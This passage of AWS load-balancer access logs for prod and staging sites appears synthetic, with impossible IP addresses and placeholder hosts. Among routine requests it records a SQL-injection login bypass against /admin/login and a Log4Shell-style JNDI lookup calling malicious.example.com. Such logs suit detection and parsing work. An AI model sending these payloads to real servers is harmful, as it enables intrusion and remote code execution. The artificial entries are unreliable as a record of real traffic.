"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b935-6395f089737040b4b3c703b4" "staging-alb.example.com" "-" 10 2024-11-01T00:07:01.836513Z "forward" "-" "-" "11.46.224.70:8080" "200" "-" "-" +http 2024-11-01T00:07:02.732605Z staging-alb 139.94.208.245:12415 62.109.118.22:80 0.081654 0.076787 0.143929 302 302 689 4635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b936-6ef98448609345588b38e5a5" "staging-alb.example.com" "-" 7 2024-11-01T00:07:02.732605Z "forward" "-" "-" "62.109.118.22:80" "302" "-" "-" +https 2024-11-01T00:07:04.551688Z staging-alb 8.142.134.199:16506 3.104.193.133:80 0.021411 0.606042 0.147763 200 200 857 3050 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b938-07276696dbdf48899389557d" "staging-alb.example.com" "-" 6 2024-11-01T00:07:04.551688Z "forward" "-" "-" "3.104.193.133:80" "200" "-" "-" +https 2024-11-01T00:07:05.582353Z prod-web-alb 182.114.125.254:62003 10.0.184.236:443 0.056978 0.256089 0.002574 200 200 807 10829 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b939-c7d88a6c88bc4558a9ba8895" "prod-web-alb.example.com" "-" 4 2024-11-01T00:07:05.582353Z "forward" "-" "-" "10.0.184.236:443" "200" "-" "-" +https 2024-11-01T00:07:05.902795Z prod-web-alb 253.60.70.227:29812 10.0.161.74:443 0.097513 0.387784 0.085181 200 200 632 2779 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b939-27ef6d5d2bb74d0cb8bc756c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:07:05.902795Z "forward" "-" "-" "10.0.161.74:443" "200" "-" "-" +https 2024-11-01T00:07:06.933832Z prod-web-alb 36.88.169.48:24074 10.0.155.146:443 0.091913 0.407998 0.030349 301 301 124 4852 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b93a-12cdaa7c3689477eb147120e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:07:06.933832Z "forward" "-" "-" "10.0.155.146:443" "301" "-" "-" +https 2024-11-01T00:07:08.828561Z staging-alb 192.158.207.33:18644 200.164.234.63:443 0.004985 0.336571 0.142882 301 301 82 13483 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b93c-57735489e00741488b88f157" "-" "-" 6 2024-11-01T00:07:08.828561Z "forward" "-" "-" "200.164.234.63:443" "301" "-" "-" +https 2024-11-01T00:07:10.329629Z prod-web-alb 94.42.138.128:53826 10.0.80.191:443 0.011566 0.002334 0.018491 301 301 196 622 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b93e-c61848e73f474b26a0a181b4" "prod-web-alb.example.com" "-" 10 2024-11-01T00:07:10.329629Z "forward" "-" "-" "10.0.80.191:443" "301" "-" "-" +https 2024-11-01T00:07:11.566786Z staging-alb 142.119.203.147:14532 194.98.240.200:80 0.105371 0.615876 0.106436 200 200 745 11243 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b93f-d1250f6e74a549029cd6f9e2" "staging-alb.example.com" "-" 10 2024-11-01T00:07:11.566786Z "forward" "-" "-" "194.98.240.200:80" "200" "-" "-" +http 2024-11-01T00:07:13.359785Z staging-alb 191.214.243.76:25934 21.103.222.112:8080 0.125102 0.550776 0.071574 200 200 350 13077 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b941-fa52178313e540088e38c86a" "staging-alb.example.com" "-" 7 2024-11-01T00:07:13.359785Z "forward" "-" "-" "21.103.222.112:8080" "200" "-" "-" +https 2024-11-01T00:07:14.935529Z staging-alb 157.9.69.6:38367 49.124.141.94:8080 0.106566 0.410494 0.042846 302 302 37 2334 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b942-3c5882b6e9b5420bab38b223" "staging-alb.example.com" "-" 6 2024-11-01T00:07:14.935529Z "forward" "-" "-" "49.124.141.94:8080" "302" "-" "-" +https 2024-11-01T00:07:15.675856Z prod-api-alb 131.224.139.116:56279 10.0.78.193:443 0.039113 0.077507 0.061472 302 302 409 13917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b943-b4e11db6ebaa482e9e05d165" "prod-api-alb.example.com" "-" 4 2024-11-01T00:07:15.675856Z "forward" "-" "-" "10.0.78.193:443" "302" "-" "-" +https 2024-11-01T00:07:16.329632Z prod-api-alb 255.83.229.147:12333 10.0.82.248:443 0.000454 0.141553 0.000446 200 200 641 6676 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b944-3ec172f840ab474bb99b6f3f" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:16.329632Z "forward" "-" "-" "10.0.82.248:443" "200" "-" "-" +http 2024-11-01T00:07:18.141624Z staging-alb 1.221.82.217:18481 221.255.97.178:443 0.132554 0.344747 0.082682 200 200 518 3628 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b946-a45965aaf49c455bb3607f34" "staging-alb.example.com" "-" 4 2024-11-01T00:07:18.141624Z "forward" "-" "-" "221.255.97.178:443" "200" "-" "-" +https 2024-11-01T00:07:18.345725Z staging-alb 179.80.56.253:62113 90.116.227.137:80 0.130331 0.290219 0.080372 200 200 110 11961 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b946-b8f4e4aeea794e038bb40fec" "staging-alb.example.com" "-" 1 2024-11-01T00:07:18.345725Z "forward" "-" "-" "90.116.227.137:80" "200" "-" "-" +https 2024-11-01T00:07:19.927106Z prod-web-alb 94.68.209.227:22778 10.0.211.36:443 0.057517 0.029805 0.010603 200 200 920 9352 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b947-d00b8c753d4d4a8c95308e2e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:07:19.927106Z "forward" "-" "-" "10.0.211.36:443" "200" "-" "-" +https 2024-11-01T00:07:20.416049Z prod-web-alb 185.181.76.214:45646 10.0.59.40:443 0.054197 0.276361 0.032226 403 403 879 4151 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b948-605a2830dbb243f99be0880f" "-" "-" 6 2024-11-01T00:07:20.416049Z "forward" "-" "-" "10.0.59.40:443" "403" "-" "-" +https 2024-11-01T00:07:21.384619Z prod-web-alb 84.26.32.65:38070 10.0.132.244:443 0.037279 0.421195 0.069697 200 200 893 7058 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b949-6a02dce964a140eea23f17c5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:07:21.384619Z "forward" "-" "-" "10.0.132.244:443" "200" "-" "-" +https 2024-11-01T00:07:22.901831Z prod-api-alb 45.155.205.9:33172 10.0.190.48:443 0.045092 0.142787 0.098137 404 404 433 11529 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b94a-1a53da725a4d4732b656f9e4" "-" "-" 8 2024-11-01T00:07:22.901831Z "forward" "-" "-" "10.0.190.48:443" "404" "-" "-" +https 2024-11-01T00:07:23.650308Z prod-web-alb 163.27.93.139:61479 10.0.74.39:443 0.049280 0.231072 0.079335 404 404 58 5876 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b94b-66799f6af1e343f4a176b4f3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:23.650308Z "forward" "-" "-" "10.0.74.39:443" "404" "-" "-" +https 2024-11-01T00:07:25.274905Z prod-web-alb 124.65.248.9:59596 10.0.113.176:443 0.037441 0.478454 0.021078 200 200 673 11623 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b94d-1467ea8da0e849ea8ed145f2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:25.274905Z "forward" "-" "-" "10.0.113.176:443" "200" "-" "-" +https 2024-11-01T00:07:26.371620Z prod-web-alb 221.118.241.158:54227 10.0.242.205:443 0.099279 0.022894 0.038740 301 301 3 12037 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b94e-204c4976296d483c8f8401c4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:07:26.371620Z "forward" "-" "-" "10.0.242.205:443" "301" "-" "-" +https 2024-11-01T00:07:26.862449Z prod-api-alb 220.3.145.140:12865 10.0.50.110:443 0.076024 0.179220 0.093866 404 404 800 13209 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b94e-26c493f68e59494e98adcc0b" "prod-api-alb.example.com" "-" 9 2024-11-01T00:07:26.862449Z "forward" "-" "-" "10.0.50.110:443" "404" "-" "-" +https 2024-11-01T00:07:27.890496Z staging-alb 8.232.74.15:16883 62.84.117.154:443 0.146259 0.095359 0.117741 404 404 394 4276 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b94f-e9eed633d12b492db8195bfc" "staging-alb.example.com" "-" 7 2024-11-01T00:07:27.890496Z "forward" "-" "-" "62.84.117.154:443" "404" "-" "-" +https 2024-11-01T00:07:29.628915Z prod-api-alb 154.97.113.14:55540 10.0.79.33:443 0.053461 0.090965 0.084278 200 200 184 7233 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b951-74f45235cdd44797a1147b99" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:29.628915Z "forward" "-" "-" "10.0.79.33:443" "200" "-" "-" +http 2024-11-01T00:07:31.626512Z staging-alb 1.13.207.118:32396 75.120.108.81:8080 0.148699 0.307987 0.063346 200 200 595 1273 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b953-b8fbe53d30a544cbb69c3fa2" "staging-alb.example.com" "-" 10 2024-11-01T00:07:31.626512Z "forward" "-" "-" "75.120.108.81:8080" "200" "-" "-" +https 2024-11-01T00:07:32.750881Z prod-api-alb 109.1.195.15:20767 10.0.216.196:443 0.081749 0.284931 0.081338 404 404 939 14419 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b954-e3e0a24dd45a47b2b6e19092" "prod-api-alb.example.com" "-" 2 2024-11-01T00:07:32.750881Z "forward" "-" "-" "10.0.216.196:443" "404" "-" "-" +https 2024-11-01T00:07:34.604626Z prod-api-alb 74.174.22.127:62678 10.0.170.59:443 0.074551 0.483522 0.044798 200 200 235 11226 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b956-a0aeca8830a34ae99fa63c7a" "prod-api-alb.example.com" "-" 5 2024-11-01T00:07:34.604626Z "forward" "-" "-" "10.0.170.59:443" "200" "-" "-" +https 2024-11-01T00:07:35.370873Z prod-web-alb 121.243.220.182:44982 10.0.160.170:443 0.032807 0.417164 0.013251 200 200 837 6618 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b957-259cd0e20b5b48e4b3c66cc2" "prod-web-alb.example.com" "-" 4 2024-11-01T00:07:35.370873Z "forward" "-" "-" "10.0.160.170:443" "200" "-" "-" +https 2024-11-01T00:07:37.066293Z prod-api-alb 155.228.110.247:12013 10.0.77.192:443 0.040087 0.203539 0.073419 200 200 995 8211 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b959-8b5aaa31a9be432ca5dd4d6f" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:37.066293Z "forward" "-" "-" "10.0.77.192:443" "200" "-" "-" +https 2024-11-01T00:07:38.414744Z prod-api-alb 244.11.78.96:46697 10.0.225.132:443 0.049848 0.369693 0.020935 200 200 589 2344 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b95a-434f0e54978642f88c900823" "prod-api-alb.example.com" "-" 1 2024-11-01T00:07:38.414744Z "forward" "-" "-" "10.0.225.132:443" "200" "-" "-" +http 2024-11-01T00:07:38.603901Z staging-alb 140.21.92.137:54390 9.89.210.238:443 0.107440 0.708087 0.077775 200 200 3 12467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b95a-7de59f63b4fd444eab1686e0" "staging-alb.example.com" "-" 3 2024-11-01T00:07:38.603901Z "forward" "-" "-" "9.89.210.238:443" "200" "-" "-" +https 2024-11-01T00:07:38.770730Z prod-api-alb 35.62.52.146:36093 10.0.13.90:443 0.090364 0.496677 0.062398 404 404 137 2426 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b95a-1776f0291edf4d0b870fcce5" "prod-api-alb.example.com" "-" 2 2024-11-01T00:07:38.770730Z "forward" "-" "-" "10.0.13.90:443" "404" "-" "-" +https 2024-11-01T00:07:40.480279Z staging-alb 130.76.110.150:11076 165.226.204.119:80 0.080069 0.237082 0.116687 200 200 656 9107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95c-18af8503f338486b87030e30" "staging-alb.example.com" "-" 2 2024-11-01T00:07:40.480279Z "forward" "-" "-" "165.226.204.119:80" "200" "-" "-" +https 2024-11-01T00:07:41.213890Z staging-alb 33.90.20.152:23289 47.253.13.22:80 0.146069 0.719913 0.096334 200 200 480 12745 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b95d-0aaeeca9d7a74b149a283999" "staging-alb.example.com" "-" 10 2024-11-01T00:07:41.213890Z "forward" "-" "-" "47.253.13.22:80" "200" "-" "-" +https 2024-11-01T00:07:41.578582Z prod-api-alb 251.59.253.49:26189 10.0.60.25:443 0.037954 0.389860 0.040250 404 404 221 11837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b95d-4030f649089b4a8b913455be" "prod-api-alb.example.com" "-" 3 2024-11-01T00:07:41.578582Z "forward" "-" "-" "10.0.60.25:443" "404" "-" "-" +http 2024-11-01T00:07:42.286721Z staging-alb 147.175.35.112:39165 11.254.126.39:8080 0.147727 0.337016 0.078063 200 200 798 1835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95e-b77a61e597ac4735bcc1a28c" "staging-alb.example.com" "-" 10 2024-11-01T00:07:42.286721Z "forward" "-" "-" "11.254.126.39:8080" "200" "-" "-" +https 2024-11-01T00:07:42.738211Z staging-alb 189.199.229.231:51972 170.66.155.136:8080 0.003476 0.025930 0.048202 302 302 566 12845 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95e-ab317220ca2544fa883af2a9" "staging-alb.example.com" "-" 5 2024-11-01T00:07:42.738211Z "forward" "-" "-" "170.66.155.136:8080" "302" "-" "-" +https 2024-11-01T00:07:44.244837Z staging-alb 183.66.61.175:41314 250.238.92.158:8080 0.142641 0.512114 0.028233 200 200 618 10407 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b960-b256ec9713b84534bf9e576e" "staging-alb.example.com" "-" 6 2024-11-01T00:07:44.244837Z "forward" "-" "-" "250.238.92.158:8080" "200" "-" "-" +https 2024-11-01T00:07:45.058144Z prod-api-alb 122.239.42.78:52895 10.0.107.15:443 0.027974 0.147834 0.005629 302 302 670 10232 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b961-c2d6f233f8f94148ad389643" "prod-api-alb.example.com" "-" 1 2024-11-01T00:07:45.058144Z "forward" "-" "-" "10.0.107.15:443" "302" "-" "-" +https 2024-11-01T00:07:45.745603Z staging-alb 102.158.251.204:19478 30.121.73.65:8080 0.044174 0.626562 0.024898 302 302 519 5131 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b961-47a16b320c974041aedebed2" "staging-alb.example.com" "-" 0 2024-11-01T00:07:45.745603Z "forward" "-" "-" "30.121.73.65:8080" "302" "-" "-" +https 2024-11-01T00:07:46.343472Z staging-alb 28.186.176.206:39728 215.0.119.43:443 0.090711 0.746389 0.025254 200 200 90 3559 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b962-7ba9c6d790d24453adbf0d56" "staging-alb.example.com" "-" 3 2024-11-01T00:07:46.343472Z "forward" "-" "-" "215.0.119.43:443" "200" "-" "-" +https 2024-11-01T00:07:47.445787Z prod-web-alb 139.122.209.106:51650 10.0.51.92:443 0.000303 0.240708 0.021539 200 200 540 8744 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b963-969bd012258f4cbba0f915e1" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:47.445787Z "forward" "-" "-" "10.0.51.92:443" "200" "-" "-" +https 2024-11-01T00:07:47.684041Z prod-api-alb 75.42.135.195:34182 10.0.175.241:443 0.020904 0.336798 0.009447 200 200 126 2090 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b963-0cea6e4d91474ada853dedb6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:07:47.684041Z "forward" "-" "-" "10.0.175.241:443" "200" "-" "-" +https 2024-11-01T00:07:48.246404Z prod-api-alb 201.208.140.19:44329 10.0.168.105:443 0.075543 0.196484 0.082888 404 404 712 7085 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b964-e0a2c20c7ec84edd9e40326e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:07:48.246404Z "forward" "-" "-" "10.0.168.105:443" "404" "-" "-" +https 2024-11-01T00:07:49.125941Z prod-api-alb 217.46.181.237:11831 10.0.167.151:443 0.096088 0.120069 0.063090 302 302 237 7002 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b965-884372325f4a4d73af214582" "prod-api-alb.example.com" "-" 8 2024-11-01T00:07:49.125941Z "forward" "-" "-" "10.0.167.151:443" "302" "-" "-" +https 2024-11-01T00:07:51.019108Z staging-alb 222.177.99.86:17930 124.115.241.12:80 0.088968 0.673289 0.134632 200 200 830 3622 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b967-ad22ea9529da43b5a21506fb" "staging-alb.example.com" "-" 